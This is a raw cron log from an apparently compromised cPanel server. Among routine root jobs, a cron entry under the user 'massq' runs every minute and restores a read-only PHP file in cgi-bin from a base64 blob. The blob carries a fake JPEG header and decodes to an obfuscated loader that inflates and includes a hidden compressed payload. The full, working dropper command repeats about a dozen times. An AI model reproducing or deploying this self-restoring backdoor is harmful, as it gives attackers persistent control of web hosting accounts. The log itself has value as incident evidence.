Nov 11 20:55:01 server CROND[5102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:55:01 server CROND[5101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 20:56:01 server CROND[5543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:57:01 server CROND[6365]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 20:57:01 server CROND[6366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:58:01 server CROND[7183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 20:59:01 server CROND[8011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:00:01 server CROND[9003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:00:01 server CROND[9004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:00:01 server CROND[9005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 21:00:01 server CROND[9006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:01:01 server CROND[9922]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 21:01:01 server CROND[9927]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:01:01 server run-parts(/etc/cron.hourly)[9922]: starting 0anacron
Nov 11 21:01:01 server run-parts(/etc/cron.hourly)[9941]: finished 0anacron
Nov 11 21:02:01 server CROND[10832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:03:01 server CROND[11709]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:04:01 server CROND[12538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:05:01 server CROND[13377]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 21:05:01 server CROND[13378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:05:01 server CROND[13380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:05:01 server CROND[13379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:06:01 server CROND[14421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:07:01 server CROND[15250]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
